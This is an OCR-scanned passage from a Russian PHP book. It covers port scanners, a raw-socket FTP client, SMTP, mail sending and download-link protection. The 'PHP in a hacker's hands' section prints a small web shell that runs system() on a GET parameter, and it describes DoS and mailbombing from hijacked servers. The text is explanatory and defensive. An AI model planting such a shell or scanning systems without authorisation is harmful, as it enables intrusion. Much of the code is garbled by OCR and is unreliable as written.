$s=socket_create(AF_INET, SOCK_STREAМ, О); 

$res=@socket_connect ($s, "127. О. О .1", $i); 

if ($res) ( 

print("<p> Порт открыт $i </р>"); 

Вот такой небольшой фрагмент кода помогает хакеру получить много информации 
об удаленном компьютере. Пример работы сценария: 

Порт открыт 21 (ftp) 

Порт открыт 22 (ssh) 

Порт открыт 80 (http) 

Теперь посмотрим, что происходит в сценарии. Запускаем цикл, который будет вы
полняться от 1 до 1024 раз. Внутри цикла создается сокет с помощью функции 
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socket _ create (). Сканироваться будут порты интернет-протокола ТСР, поэтому 
в качестве первого параметра передаем AF _ INET (указывает на необходимость ис
пользования интернет-протокола). Второй параметр равен sоск_sтRЕАМ, что соот
ветствует семейству протоколов ТСР. Третий параметр обнулен. 

На следующем этапе пытаемся соединиться с портом $ i с помощью функции 
socket _ connect ( ) . Если соединение невозможно, то функция вернет ошибку, кото
рая будет отображена на форме. Чтобы подавить сообщение об ошибке, перед име

нем функции поставим символ @. Результат выполнения функции сохраняется 
в переменной $res. 

Теперь проверим результат. Если он равен true, то порт открыт, поэтому выводим 
на экран соответствующее сообщение. 

Вы должны учитывать, что такое сканирование далеко не всегда верно. Крупные 
сайты имеют интеллектуальные средства предотвращения сканирования. О том, как 
администраторы защищают Linux-cepвepы от сканирования портов, вы можете 
прочитать в моей книге «Linux глазами хакера» [1]. 

Усложним задачу. Давайте сделаем так, чтобы IР-адрес определялся в коде сцена
рия, т. е. чтобы посетитель мог передавать имя комщ,ютера. Помимо этого, будем 
отображать не только номер открытого порта, но и его имя. Рассмотрим пример 
такого сценария: 

<?php 

$host_ip = gethostbyname("www.yahoo.com"); 

for ($i=l; $i<=l00; $i++) 

{ 

?> 

$s=socket_create(AF INET, SOCK_STREAМ, О); 

$res=@socket_connect($s, $host_ip, $i); 

if ($res) 

{ 

$portname=getservbyport($i, "tcp"); 

print("<P> Порт открыт $i ($portname)"); 

Результат выполнения сценария: 

Порт открыт 21 (ftp) 

Порт открыт 80 (http) 

В этом примере, прежде чем выполнять цикл, мы определяем IР-адрес указанного 
компьютера с помощью функции gethostbyname () . Если посетитель укажет не имя 
компьютера, а его адрес, то функция ничего преобразовывать не будет, а просто 
вернет этот же IP. 

Так как мы в цикле соединяемся с одним и тем же компьютером, то, чтобы не 
определять имя на каждом шаге, вызов функции gethostbyname () вынесен за преде
лы цикла. 
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Когда найден открытый порт, мы определяем его имя с помощью функции 
getservbyport () . Этой функции передается номер найденного порта и имя протоко
ла ТСР, потому что мы сканируем именно эти порты. 

В листинге 5.2 можно увидеть сканер портов UDP. Тут всего два отличия от ТСР
сканирования: 

□ у функции socket _ crea te () второй параметр равен sоск _ DGRAМ, что соответствует
UDР-протоколу;

□ при определении имени службы у функции getservbyport () второй параметр
равен udp.

<?php 

$host_ip = gethostbyname("www.yahoo.com"); 

for ($i=l; $i<=100; $i++) 

{ 

?> 

$s=socket_create(AF_INET, SOCK_DGRAМ, О); 

$res=@socket_connect($s, $host_ip, $i); 

if ($res) 

{ 

$portname=getservbyport($i, "udp"); 

print("<P> Порт открыт $i ($portname)"); 

Наш сканер портов не оптимизирован, и я считаю, что его надо оптимизировать. 
Цикл выполняется 1024 раза, и каждую итерацию мы создаем сокет с помощью 

функции socket_create(). Это отнимает лишние ресурсы сервера и время, а ведь 
сокет нужно создавать до начала цикла и после успешного соединения с сервером. 
Если соединение прошло неудачно, то можно без вызова socket _ create () пытаться 
подключиться на другой порт. В листинге 5.3 показан оптимизированный вариант 
сканирования. 

<?php 

$host_ip = gethostbyname("www.yahoo .com"); 

$s=socket_create(AF_INET, SOCK_STREAМ, О); 

for ($i=l; $i<=100; $i++) 

{ 

$res=@socket_connect($s, $host_ip, $i); 

if ($res) 

{ 

$portname=getservbyport ($i, "tcp"); 
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?> 

print("<P> Порт открыт $i ($portnarne)"); 

$s=socket_create(AF_INET, SOCK_STREAМ, О); 

Глава 5 

Теперь создание сокета будет происходить ровно столько раз, сколько открыто 
портов, плюс 1. 

5. 6. FТР-клиент низкого уровня

Теперь рассмотрим пример приема/передачи данных по сети. Для иллюстрации 
передачи данных напишем FТР-клиент. Да, у РНР уже есть готовые функции для 
упрощения программирования, но мы не станем ими пользоваться, а подключимся 
к серверу напрямую и будем выполнять непосредственно FТР-команды. Работать 
напрямую с командами не так уж и сложно, и, зная их, вы сможете реализовать 
любой протокол. 

Не будем отвлекаться и сразу перейдем к рассмотрению примера (листинг 5.4). 

<?php 

// Инициализация 

$host_ip=gethostbynarne("localhost"); 

$s=socket_create(AF_INET, SOCK_STREAМ, О); 

// Соединяемся с сервером 

if (! ($res=@socket_connect($s, $host_ip, 21))) { 

die("Can't connect to local host"); 

print("<P>Connected"); 

// Читаем строку приветствия 

printf("<p> < %s</p>", socket_read($s, 1000, РНР NORМAL_READ)); 

socket_read($s, 1000, PHP_NORМAL_READ); 

// Отправляем команду и читаем результат авторизации имени посетителя 

$str="USER flenov\n"; 

socket_write($s, $str, strlen($str)); 

print("<p> > $str </р>"); 

printf("<p> < %s </р>", socket_read($s, 1000, PHP_NORМAL_READ)); 

socket_read($s, 1000, PHP_NORМAL_READ); 

// Отправляем команду и читаем результат авторизации паролем 

$str="PASS password\n"; 
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socket_write($s, $str, strlen($str)); 
print("<p> > $str </р>"); 
printf("<p> < %s </р>", socket_read($s, 1000, PHP_NORМAL_READ) ); 
socket_read($s, 1000, PHP_NORМAL_READ); 

// Отправляем команду SYST (определить систему) и читаем результат 
$str="SYST\n"; 
socket_write($s, $str, strlen($str)); 
print("<p> > $str </р>"); 
printf("<p> < %s </р>", socket_read($s, 1000, PHP_NORМAL_READ) ); 
socket_read($s, 1000, PHP_NORМAL_READ); 

?> 
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Начало листинга вам должно быть понятно без дополнительных пояснений -
определяем IР-адрес указанного FТР-сервера. Я тестирую сценарии на локальном 

сервере, поэтому в качестве адреса указано localhost. После этого создаем сокет 
для работы с ТСР-протоколом и подключаемся к порту 21. 

Сразу после подключения FТР-сервер должен вернуть нам строку приветствия, 
и именно ее мы читаем. Обратите внимание, что читаются две строки, хотя на 
экран выводится только первая. Почему именно так? Дело в том, что FТР-сервер 

отправляет клиенту строку, которая заканчивается символами конца строки (\n) 

и перевода каретки (\r), например: 

220 flenovm FГР server (Version wu-2.6.2-5) ready.\n\r 

Функция socket _ read () с параметром РНР _NORМAL _ READ читает данные, пока не 

встретит любой из символов \n или \r, а значит, разобьет этот результат на две 

строки: 

220 flenovm FГР server (Version wu-2.6.2-5) ready.\n 

и 

\r 

Именно поэтому мы читаем результат дважды. Вторую строку мы просто читаем, 

но не выводим на страницу, потому что она пустая. При выводе строк, полученных 

от сервера, в начале строки отображаем символ <, указывающий, что данные полу
чены от удаленного компьютера. 

Теперь посмотрим, как передавать серверу FТР-команды на примере отправки сер

веру имени посетителя для авторизации: 

$str="USER flenov\n"; 
socket_write($s, $str, strlen($str)); 
print("<P> > $str"); 
printf("<P><%s", socket_read($s, 1000, PHP_NORМAL_READ)); 
socket_read($s, 1000, PHP_NORМAL_READ); 

Сначала формируем в переменной $str строку, которая будет отправлена серверу. 

Для сервера FТР-команда должна заканчиваться символом конца строки (\n). Во 
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второй строке кода отправляем строку с помощью функции socket _ wri te (). Далее, 
чтобы пример был более информативным, выведем на веб-страницу команду, кото

рая была направлена серверу, а перед командой поставим символ >, указывающий, 
что строка направлена серверу. 

Теперь читаем ответ сервера. И снова для этого используются две строки. Вторая 
будет пустой, поэтому сценарий ее на экран не выводит. 

Запустите сценарий, и вы должны увидеть на экране примерно следующий резуль
тат: 

Connected 

<220 flenovrn FТР server (Version wu-2.6.2-5) ready. 

> USER flenov

<331 Password required for flenov.

> PASS vampir

< 230 User flenov logged in.

> SYST

< 215 UNIX Туре: L8

Если вы хотите реализовать на своем сайте возможности FТР-клиента, .то я не ре
комендую делать эту службу доступной всем пользователям. Скачать файлы с сай

та посетители могут и с помощью НТТР-протокола, а для загрузки на сервер можно 
использовать методы, описанные в разд. 5.1. FТР�команды позволяют устанав
ливать соединения между компьютерами и обмениваться файлами, а это вовсе 

не безопасно. 

И все же FТР-клиент может оказаться удобным в сценариях администрирования и 
безопасным, если доступен только администратору. При разработке FТР-клиента 

учитывайте следующие соображения по безопасности: 

□ лишний раз повторюсь, что нужно проверять каждый параметр. Хотя FТР
клиент находится на вашем сайте в центре администрирования и, по идее, дол

жен быть доступен только администраторам, необходимы все проверки всех па
раметров. Если хакер сможет обойти систему аутентификации, полноценный
FТР-клиент сделает злоумышленника богом в вашей системе;

□ желательно ограничить доступ к серверу по FТР-протоколу только определен

ными каталогами. Для этого необходимо проверять параметры, указывающие на
каталог, с которым работает посетитель, и если каталог запрещен, то прерывать
доступ;

□ постарайтесь ограничить количество типов файлов, доступных для загрузки на
сервер, только необходимыми. Если на сервере должны храниться лишь НТМL
файлы, то вполне логично проверять, чтобы загружались только такие файлы;

□ реализуйте исключительно те возможности, которые действительно необходи
мы. Во время создания сценария не должно быть соображений типа «авось

пригодится». Протокол FTP слишком опасен для сервера, чтобы так рассуждать,
поэтому запрещаем все, что явно не разрешено.
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5. 7. Работа с электронной почтой
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Электронная почта появилась в Интернете первой и задолго до возникновения при
вычных нам веб-страниц. За время своего существования почта сильно изменилась, 
но при этом не потеряла своей актуальности и используется до сих пор. Например, 
для меня почта является основной службой. А т. к. эта служба связана с сетевым 
соединением между серверами (веб-сервером и почтовым сервером), то мы обяза

ны ее рассмотреть. 

При работе с электронной почтой есть определенные сложности, а именно - для 
отправки сообщения и его приема используются разные протоколы. Дпя отправки 
вы должны использовать протокол SMTP (Simple Mail Transfer Protocol, простой 
протокол передачи сообщений), а для чтения наиболее популярным сейчас является 
протокол РОРЗ (Post Office Protocol, офисный почтовый протокол). 

Безопасность почтовых служб - это вообще отдельная тема, и она выходит за рам
ки моей книги, но вы должны учитывать, что сама служба может быть подвержена 
атакам хакеров. Например, в наиболее популярной почтовой службе для UNIХ
систем - sendmail - за всю историю ее существования было найдено столько 
уязвимостей, что хватит на 1 О серверных программ. 

Зачем нужна почта на веб-сайте? Как минимум она требуется для рассылки ново
стей, без которых уже трудно представить себе какой-либо сайт. Необходимо со
общать посетителям о событиях, которые происходят на сервере. 

5.7.1. Протокол SMTP 

Начнем работу с почтой с рассмотрения протокола отправки сообщений SMTP. 
В реальной жизни вам, скорее всего, не придется использовать этот протокол, но 
желательно понимать его. Даже если в языке программирования есть высокоуров
невые функции, которые прячут всю сложность протокола, знание команд низкого 
уровня никогда не помешает. 

Итак, протокол SMTP использует простые текстовые команды, как и FTP. Доста
точно только подключиться к нужному порту (по умолчанию SМТР-служба рабо
тает на порту 25) и отправлять серверу необходимые команды. Нет, все тонкости 
и команды мы обсуждать не станем, но простейший диалог между клиентом и сер
вером увидим: 

< 220 smtp.aaanet.ru ЕSМТР Exim 4.30 Wed, 14 Jul 2004 15:20:17 +0400 

> HELO notebook

< 250 smtp.aaanet.ru Hello notebook [80.80.99.95] 

> МAIL FROМ:<vasya@pupkin.ru>

< 250 ок 

> RCPT TO:<horrific@vr-online.ru>

< 250 Accepted 

> DATA

< 354 Enter message, ending with on а line Ьу itself 
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> From: <vasya@pupkin.ru>
> То: <horrific@vr-online.ru>
> SuЬject: Тема сообщения
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii
> Это тестовое сообщение

> 

< 250 ОК id=lBkhoA-000EkB-0S 
> QUIT
< 221 smtp.aaanet.ru closing connection

Глава 5 

В этом примере строки, начинающиеся с символа >, отображают информацию, ко

торую мы отправляем серверу, а строки, начинающиеся с символа <, отображают 
информацию, которую мы получаем. На каждую команду сервер отвечает нам со
общением, которое начинается с числового кода, отображающего статус выполне
ния. После этого идет текстовое описание результата. Например, после соединения 
с сервером мы получаем от SМТР-сервера строку: 

220 Информация о сервере 

Сообщения с кодом 220 являются информационными. В нашем случае сообщение 
приходит в ответ на подключение и чаще всего после кода содержит сведения 

о сервере, например: 

220 your_mail_server.com ЕSМТР Sendmail 8.9 

Здесь нам сообщается, что служба работает под управлением программы sendmail 
версии 8.9. В настоящее время уже мало кто сообщает свое имя и версию, посколь
ку пользы в этой информации нет никакой. 

Теперь необходимо поздороваться с сервером и сообщить ему свое имя. Это дела

ется с помощью команды HELO notebook. В нашем случае notebook - имя моего 
компьютера. На это сервер отвечает сообщением с кодом 250 и своим адресом. 

Далее посылаем адрес отправителя (МAIL FROM:<vasya@pupkin.ru>) и адрес получа

теля (RCPT то: <horrific@vr-online.ru> ). На обе команды сервер должен ответить 
сообщениями с кодом 250. 

Теперь можно сообщить серверу, что дальше следует тело письма. Для этого посы

лаем команду DATA. После этого начинается тело письма, в котором сперва идет за
головок, а потом уже текст сообщения. На все отправляемые теперь данные сервер 
не будет отвечать, поэтому можно не дожидаться ответа. Тело письма завершается 
командой <CR><LF>. <CR><LF> (конец строки, перевод каретки, точка, конец строки, 
перевод каретки). Сервер должен нам ответить сообщением с кодом 250. Но мы 
пока не будем ничего завершать, а посмотрим, что находится в теле. 

В заголовке мы снова указываем адресата и получателя: 

From:<vasya@pupkin.ru> 
To:<horrific@vr-online.ru> 
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Если письмо должно иметь тему, то здесь нужно переслать следующий текст: 

SuЬject: Тема письма 
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Далее нужно указать кодировку для текста сообщения. В нашем случае мы это 
делаем так: 

>Mime-Version: 1.0

>Content-Type: text/plain; charset="us-ascii

Теперь можно построчно передавать текст сообщения. 

После завершения передачи можно выйти из системы с помощью команды Qurт. 

В табл. 5.1 приведены основные команды SМТР-сервера, применяемые для отправ
ки простого сообщения. 

Таблица 5.1. Команды SМТР-протокола 

Команда Описание 

HELO 
Идентифицирует посетителя на SМТР-сервере. После команды HELO 
указывается имя локального компьютера 

МAIL 
Начало передачи сообщения. Чаще всего эта команда выглядит как МAIL FROМ 

<e@mail.ru>?, где e@mail.ru - это адрес отправителя 

RСРТ Идентифицирует получателя сообщения 

DATA 
Начало тела сообщения. Передача данных завершается последовательностью 
СИМВОЛОВ <CR><LF>. <CR><LF> 

RSET Отмена выполнения текущей операции 

На этот запрос сервер просто ответит сообщением ок. Это необходимо 
для проверки связи или для продления жизни сеанса. Если в течение 

NOOP определенного времени не производить обмен сообщениями с сервером, 
то сервер может разорвать соединение, а эта команда позволяет 
продемонстрировать активность. Тогда сервер сбросит счетчик timeout, 
и время простоя начнет отсчитываться с начала 

QUIT Выход 

HELP Позволяет получить справку о доступных командах 

Полную информацию по использованию протокола можно прочитать в RFC-821, а 
нам достаточно и этого. 

Просто ради тренировки попробуйте создать реализацию отправки почты напря
мую через подключение на порт 25 и отправку необходимых команд. Убедитесь, 
что это не сложнее, чем создание FТР-клиента. 

!5. 7. 2. lункция mai/0 

Для отправки электронной почты очень часто используется системная функция 

mail ( ) , которая имеет следующий вид: 

boolean mail(to, suЬject, body [extra]) 
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У функции четыре параметра, и три из них являются обязательными: 

□ адрес электронной почт�� получателя сообщения. Если необходимо направить
письмо нескольким получателям, то их адреса должны быть приведены в строке
через запятую;

□ тема письма;

□ текст сообщения;

□ дополнительные заголовки сообщения. Предыдущие параметры позволяют
задать только основные свойства письма, но их ведь намного больше. Дополни
тельные свойства указываются в последнем параметре и разделяются символами
конца строки и перевода каретки ( CR и LF).

В листинге 5.5 показан пример отправки сообщения с помощью функции rnail (). 

листмнr s.s. n' 

<?php 
// Подготовка переменных 
$Mai1To = "recipient@rnail_server.com"; 
$MailSuЬj = "Это тема сообщения"; 

$Mai1From = "your_name@your_server.com"; 
$MailCC = "namel@@rnail_server.com,name2@@rnail_server.com"; 
$Extra = "From: $MailFrom\r\nCc: $MailCC"; 

// Отправка почты 
if (mail($Mai1To, $Mai1Subj, "Тело сообщения", $Extra)) 
рrint('Сообщение для $Mai1To удачно отправлено') ; 

else { 
print ('Ошибка'); 

?> 

Если вы создаете систему рассылки новостей, то перед вами может возникнуть од
на серьезная проблема: при большом списке рассылка способна занять слишком 
много времени. Если выполнение сценария не уложится в 30 секунд (это значение 
установлено в качестве максимума по умолчанию ), то его работа будет прервана. 
На практике оказывается, что при списке рассылки в 1 ООО записей 30 секунд не 
хватает, поэтому необходимо увеличить время выполнения сценария. 

Изменять конфигурацию интерпретатора в таком случае - не очень хорошее 
решение. Если тайм-аут слишком большой, то в системе может оказаться много 
зациклившихся сценариев, которые будут расходовать процессорное время. Лучше 
всего увеличить тайм-аут для определенного сценария. Для этого можно восполь
зоваться функцией set _ time _ out (), которой передается новое значение тайм-аута 
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в секундах для текущего сценария. Следующий пример устанавливает тайм-аут 
в 10 минут: 

set_time_out(бOO) 

Но слишком большой список рассьmки приводит и к еще одной проблеме: рассьm
ка новостей - занятие не из легких, потому что помимо процессорных ресурсов 
требуются и сетевые. В результате производительность сервера может серьезно 
снизиться. Все ресурсы вряд ли вам удастся израсходовать, ведь ОС UNIX и 
Windows являются многозадачными, т. е. могут выполнять несколько задач одно
временно, но производительность обработки веб-запросов может упасть. 

Если ваш сценарий должен регулярно рассылать электронные почтовые сообщения 
по большому списку, то можно вынести рассьmку на отдельный сервер. В опреде
ленный момент времени специально предназначенный сервер для рассьmки забира
ет список пользователей или получает его с помощью запроса к базе данных и не
посредственно рассылает сообщения. 

5.7.Э. Соединение с SМТР-сервером 

В разд. 5. 7.1 мы узнали, что для отправки сообщения необходим SМТР-сервер. Но 
функция mail () не предоставляет вам способа указания сервера, который нужно 
использовать для отправки сообщений, и параметров доступа к нему. Все очень 
просто- в php.ini есть раздел [mail functions], где настраивается сервер, который 
будет использоваться для отправки сообщений: 

[mail function] 
; For Win32 only. (Только дпя Windows) 
SМТР = localhost 

; For Win32 only. (Только дпя Windows) 
sendmail_from = me@localhost.com 

For Unix only. You тау supply arguments as well 
(default: 'sendmail -t -i'). 
Только дпя UNIX. Вы можете также указать аргументы 
(по умолчанию используется команда 'sendmail -t -i') 

;sendmail_path = 

С помощью параметров SMTP и sendmail _ from можно задать параметры сервера, если 
вы работаете в Windows, а с помощью sendmail _path задается доступ к почтовой 
службе в UNIX. 

В ОС UNIX самым популярным способом отправки почты является программа 
sendmail. Но, несмотря на то, что имя программы совпадает с именем параметра 
sendmail_path, вы можете указывать и любую другую программу. Иное дело, что по 
умолчанию используется локальная программа sendmail, и если вы хотите это из
менить, то укажите полный путь к нужному SМТР-серверу. Следующий пример 
показывает, как задать qmail в качестве программы отправки сообщений: 

sendmail_path=/var/qmail/qmail-inject 
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5. 7. 4. Безопасность электронной почтовой службы
Программируя сценарий работы с сообщениями электронной почты, нужно быть 
предельно аккуратным. В отличие от взлома самого сервера, существует опасность 
того, что хакер воспользуется вашим сценарием для рассылки спама по вашему же 
списку рассьmки. Одна такая рассьmка может поставить большой и жирный крест 
на развитии сайта и на будущем вашего сервера. В настоящее время отношение 
к спаму негативное, и большинство посетителей такой ошибки не простят. 

Чтобы обезопасить себя от взлома, необходимо правильно настроить SМТР-сервер. 
Если он позволяет ограничить круг системных программ, которые можно запус
тить, то это необходимо сделать. Например, в конфигурации может быть задан ка
талог, так что только программы из этого каталога будут запускаться из sendmail. 
Следует воспользоваться этим параметром, а в качестве разрешенных должны быть 
только безопасные программы, которые не позволят взломать сервер. 

Помимо защиты самого SМТР-сервера, необходимо аккуратно обращаться и с по
лучаемыми сценарием параметрами. В разд. 3.6.2 мы рассматривали регулярное 
выражение, с помощью которого можно проверить электронный адрес на наличие 
недопустимых символов и использование неверного формата адреса. 

5. 7. 5. ТТроиэводительность отправки почты
Операция отправки почты происходит достаточно медленно, и отчасти это связано 
с самим протоколом отправки почты. Как мы увидели ранее, программе приходит
ся не только соединиться с сервером, но и отправить несколько команд и после 
каждой дожидаться ответа сервера. 

Допустим, что вы работаете над сайтом, где требуется регистрация. После регист
рации вы хотите отправить посетителю е-mаil-сообщение «Добро пожаловать» или, 
может быть, письмо для подтверждения почтового ящика. Иногда бывает так, что 
сайты отправляют сразу оба сообщения. 

Если представить, что регистрация отнимает 1 секунду (просто рассмотрим самый 
ужасный вариант) и отправка каждого e-mail также отнимает по 1 секунде (вполне 
реально), то серверу только для обработки запроса на регистрацию понадобится 
3 секунды. Прибавим время на доставку результата страницы и всех ресурсов -
в итоге посетитель может дожидаться ответа 5 секунд и больше. В наше время, 
когда данные передаются на невероятно высоких скоростях, такая задержка уже 
выглядит для посетителей как зависание. 

А нужно ли отправлять e-mail в реальном времени? Что случится, если мы доста
вим сначала страницу, а потом уже отправим e-mail? Да ничего, пользователь со
вершенно не заметит разницы в том, когда доставлено письмо, но вот то, что он 
увидит страницу, подтверждающую удачную регистрацию мгновенно, сделает сайт 
более удобным. 

Когда мне нужно отправить электронное сообщение, я никогда не делаю это в ре
альном времени. Вместо этого я сохраняю письмо в базе данных и создаю про
грамму, которая потом постоянно выбирает письма из базы данных и отправляет их. 



Примеры работы с РНР 243 

Возможный вариант решения этой задачи - создать таблицу в базе данных, в ко
торой будут примерно следующие колонки: 

□ e-mail пользователя;

□ тема письма;

□ тело письма;

□ дополнительные параметры письма;

□ время следующей попытки отправить письмо;

□ количество попыток;

□ ключ.

Теперь, когда нужно отправить письмо, просто сохраняем данные в этой таблице, 
что происходит практически мгновенно, и продолжаем формировать страницу 
с результатом для посетителя. 

Теперь нужно написать программу, которая будет искать в базе данных неотправ
ленные письма и доставлять их. Такую программу можно написать даже на РНР. 
Для подобной программы не нужен визуальный интерфейс, и все можно делать 
в командной строке, а РНР прекрасно подходит не только для создания веб-стра
ниц, но и для консольных приложений. 

Создайте новый РНР-файл Program.php. Давайте в нем напишем простой код, кото
рый будет просто печатать что-то в консоли: 

<? 

echo "this is PHP\n"; 

?> 

Теперь откройте консоль и выполните простую команду: 

php Program.php 

В результате вы должны увидеть в окне консоли сообщение: 

This.is РНР 

Все прекрасно, когда мы работаем локально и имеем полный доступ к своему ком
пьютеру. Но когда сайт находится на разделяемом хостинге (Shared Hosting), то тут 
уже далеко не всегда есть возможность подключиться к удаленному серверу и за
пустить какую-то программу на нем. Некоторые компании уже начали предостав
лять такую возможность и стали разрешать создавать сrоn-задачи (планировщики 
задач, выполняющие команды по расписанию) даже на самых дешевых тарифах. 

Если ваш хостинг позволяет создавать сrоn-задачи, то можно создать такую задачу, 
которая будет выполняться каждые две минуты и запускать РНР-файл вашей про
граммы отправки почты. Если такой возможности нет, то вполне реально такое 
реализовать даже на своем локальном компьютере. Просто запускаете такую задачу 
на своем компьютере, и она подключается к базе данных хостинговой компании, 
где вы сохраняли письма. 

Итак, ваша программа должна будет просто искать письма в базе данных и отправ
лять их. Если произошла ошибка, то можно добавить к текущему времени минут 
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пять, сохранить это время в колонке #5 и попробовать повторить отправку через эти 
пять минут. У меня регулярно возникают проблемы с отправкой почты, и функция 
повтора очень часто спасает. Чтобы повторы не стали бесконечными в случае со
всем уж серьезных проблем, у меня всегда в базе хранится количество совершен
ных попыток. Если я уже пробовал доставить письмо 5 раз, то останавливаюсь. 

5. 8. Защита ссылок

Очень часто бывает необходимо защитить ссьшки, чтобы хакеры не могли скачи
вать определенные файлы напрямую. Где это может использоваться? Допустим, 
что вы разрабатываете сайт, на котором располагаются установочные файлы про
граммы. При этом файлы должны быть доступны для скачивания только посетите
лям, прошедшим бесплатную регистрацию на сайте. Имеется в виду регистрация на 
сайте, а не покупка программы. Такое бывает достаточно часто на shareware-caйтax, 
ведь разработчики хотят иметь информацию о посетителях, которые скачивают и 
используют их продукты. Наша задача - замаскировать реальный адрес файла, 
чтобы хакер не смог обойти регистрацию и выложить прямой URL-aдpec файла на 
своем сайте. 

Идеального варианта защиты я еще не встречал, и в голову ничего не приходит. 
Файл лежит на сервере, и для него есть определенный URL, который хакер может 
определить во время регистрации. На первый взгляд, можно положить файл в ката
лог, защищенный паролем Apache, а пароль выдавать только после регистрации на 
сервере, но это решение также не является идеальным, потому что создаст пробле
мы добропорядочным посетителям, а хакеры и так запомнят адрес и будут его ис
пользовать. 

Более эффективное решение- каждые несколько дней (например, раз 'в неделю) 
изменять имя файла или его расположение случайным образом и сохранять новый 
адрес в базе данных. Самому сценарию не составляет труда получить новый адрес 
из той же базы данных. В этом случае, даже если хакер поместит прямую ссьшку на 
своем warez-caйтe, эта ссьшка через определенное время устареет, и пользователям 
придется регистрироваться на сервере легальным образом. Изменение файла с по
мощью сценария не так уж и сложно для сервера, но без знания алгоритма очень 
неудобно для хакера. 

Большинство сайтов поступают по-другому- при запросе файла сценарий делает 
копию файла или создает символьную ссьшку на него со случайным именем или 
в каталоге со случайным именем. Вариант со ссьшкой предпочтительнее, особенно 
в тех случаях, когда на сервере находятся файлы большого размера. Ссылка (и дата 
ее создания) сохраняется в базе данных и действует определенное время- напри
мер, три часа. По команде планировщика или при каждом выполнении сценария эта 

. база данных очищается. Если очищать ее достаточно часто, то на скорость работы 
это повлияет лишь незначительно, ведь много убирать не придется. 

Можно даже не копировать файл, а создать специальный сценарий download,php -
он будет возвращать файл посетителю. Если посетитель имеет право сохранять 
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файл, то вы сохраняете в его сессии какой-то маркер и перенаправляете посетителя 
на файл download.php, а в котором будет примерно следующий код: 

if (user doesn't have access) { 

// show an error 

die; 

$file_location = "path/to/file.zip"; 

header ($_SERVER["SERVER_PROTOCOL"] . " 200 ОК"); 

header("Cache-Control: puЬlic"); // needed for internet explorer 

header("Content-Type: application/zip"); 

header("Content-Transfer-Encoding: Binary"); 

header("Content-Length:".filesize($file_location)); 

header("Content-Disposition: attachrnent; filename=file.zip"); 

readfile($file_location); 

Это не законченный код, а лишь набросок. В операторе if только показано, что там 
должна быть проверка, а как именно она будет реализована, зависит от ситуации. 

5. 9. РНР в руках хакера
В последнее время я стал замечать такую тенденцию: многие администраторы от
казываются от использования языка Perl на своих серверах. Почему? Дело в том, 
что в Интернете доступно множество сценариев на Perl, которые позволяют хакеру 
упростить взлом сервера. Для того чтобы воспользоваться этими сценариями, не
обходимо иметь минимальные права в системе. 

С другой стороны, бытует мнение, что РНР безопаснее. Глядя на объем этой книги 
и учитывая, как много мы говорили про безопасность, вы понимаете, что это мне
ние, мягко говоря, спорное. В реальности любой язык программирования опасен 
в руках неопытного или невнимательного программиста и любой язык безопасен 
в руках профессионала. Но даже профессионал может ошибиться, и буквально 
недавно я допустил такую ошибку в регулярном выражении: 

$var=preg_replace("/[ лa-z0-9[]·-_\n]/i", "", $var); 

Это выражение удаляет все, кроме букв, цифр, символов [ и J, пробелов, тире, под
черкиваний и символов перевода строки. Беглый взгляд не показывает никаких 
ошибок, но если присмотреться, то окажется, что символы [ и J являются служеб
ными и объединяют набор допустимых символов. в моем случае в квадратньIХ 
скобках ничего нет, а значит, выражению [ J соответствует любой символ - следо
вательно, функция preg_ replace () абсолютно ничего не вырежет. Проблема реша
ется добавлением обратного слеша: 
$var=preg_replace("/[лa-z0-9\[\] -_\n]/i", '"', $var); 

Нередко программисты ошибаются при работе с русскими буквами. Если написать 
а-я, то в этот диапазон попадут все буквы, кроме «ё». Эту букву необходимо ука
зывать в явном виде: 

$var=preg_replace("/[лa-za-яё0-9\[\] -_\n]/i", "", $var); 
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Я пока не встречался с такой задачей, которую нельзя было бы реализовать в РНР, 
а если она возникает, то всегда можно воспользоваться функцией systern () . 

Если взломщик получил доступ к FTP или любой другой доступ к созданию файлов 
на сервере, ему будет достаточно создать сценарий со следующим содержимым: 

<? 

<form action="system.php" method="get"> 
coпmand: <input name="suЬ_com" /> 
<br><input type="suЬmit" value="run" /> 

</forrn> 

<pre> 
<?php 

system($_GET["suЬ_com"]); 
print($_GET["suЬ_com"]); 

?> 
</pre> 
?> 

Загрузив этот сценарий из веб-браузера, хакер получает доступ к выполнению 
команд на удаленном сервере с правами веб-сервера. 

В настоящее время появилось много небольших сценариев, которые позволяют по
лучить веб-интерфейс к файловой системе удаленного компьютера. Если наделить 
наш сценарий возможностью работы с файлами, то его уже можно будет назвать 
полноценным shеll-доступом ( оболочка для выполнения команд на удаленной сис
теме) с визуальным интерфейсом. 

В разд. 5. 5 мы увидели, что РНР может использоваться хакером и для выполнения 
сетевых атак с сервера. Допустим, что необходимо провести атаку отказа от обслу
живания или устроить почтовую бомбардировку жертвы. С помощью РНР
сценариев можно реализовать и то и другое и при этом остаться анонимным. Для 
этого хакер взламывает какой-либо веб-сервер и помещает на него свой РНР
сценарий, который выполняет необходимые действия. 

В случае с атакой отказа от обслуживания (DoS) хакер может написать сценарий, 
который будет бомбить сервер бессмысленными запросами. Если сценарий запус
тить с достаточно мощного сервера с широким каналом, то можно засыпать мусо
ром практически любой компьютер. То же самое и с почтовой бомбардировкой. 
Написать цикл отправки из 1 ООО писем можно за 5 минут. 

Использование взломанного сервера позволяет хакеру остаться анонимным. Для 
этого достаточно управлять взломанным сервером из веб-браузера, подключаясь 
через анонимный прокси-сервер или VPN, который скрывает реальный IР-адрес 
хакера. 

Защищаться от таких атак очень сложно. Можно вычислить IР-адрес, с которого 
происходит атака, и с помощью сетевого экрана фильтровать трафик. Но это реше
ние может оказаться временным, потому что в Интернете слишком много сайтов 
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с небезопасными сценариями, через которые хакер может завладеть новым серве
ром и продолжить атаку. 

Языки программирования для веб-сервера очень удобны для создания веб-сайтов, 
но также и эффективны в руках хакера. Это как пистолет, который может исполь
зоваться для обеспечения безопасности, но может служить и для совершения пре
ступлений. На первый взгляд, ситуацию можно исправить, если сценарии станут 
безопаснее, но я даже не могу себе представить этот рай. Борьба администраторов и 
программистов с хакерами будет вечной, как борьба добра и зла. Хочется надеяться 
на то, что количество хакеров будет уменьшаться. Профессионалы в области ин
формационных технологий должны использовать свои знания на благо общества, 
а не во зло. 

5.10. Уловки 

Мне как-то в Канаде пришлось поработать в компании, которая использовала очень 
много «черных» методов в построении веб-сайтов. Некоторые из этих методов мо
гут оказаться действительно полезными и для добропорядочного владельца сайта, 
поэтому я познакомлю вас с наиболее интересными приемами. 

5 .1 О .1 . 11 ереадресация 

Если нужно дать ссылку на какую-то подп.елку или обман, то давать прямую ссыл
